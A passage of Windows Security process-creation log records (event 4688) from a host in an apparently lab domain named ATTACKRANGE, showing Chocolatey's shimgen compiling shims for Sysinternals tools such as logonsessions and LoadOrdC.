-RecordNumber=246594 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf20 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246593 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\logonsessions64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_9584\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246592 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x520 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246591 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x520 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\logonsessions64.exe" --output="C:\ProgramData\chocolatey\bin\logonsessions64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\logonsessions64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246590 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x39c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDB09.tmp" "c:\ProgramData\chocolatey\bin\CSCA40A18CB7DEA46E791C3588238F230.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246589 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246588 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\logonsessions.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_7552\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246587 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb4c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf4c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246586 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf4c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\logonsessions.exe" --output="C:\ProgramData\chocolatey\bin\logonsessions.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\logonsessions.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246585 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x86c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x52c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESDA2E.tmp" "c:\ProgramData\chocolatey\bin\CSCF0D436DB6B87434D8A4DCCCCCDEE5968.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246584 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x52c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246583 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x52c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrdC64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_5209\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246582 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc64 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246581 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrdC64.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrdC64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrdC64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246580 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x35c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD953.tmp" "c:\ProgramData\chocolatey\bin\CSCF12BF2566892456B8A9CB3A43CF51457.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246579 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246578 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x60c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrdC.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123413_3021\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:07 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246577 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd5c - New Process Name: C:\Windows\System32\conhost.exe - 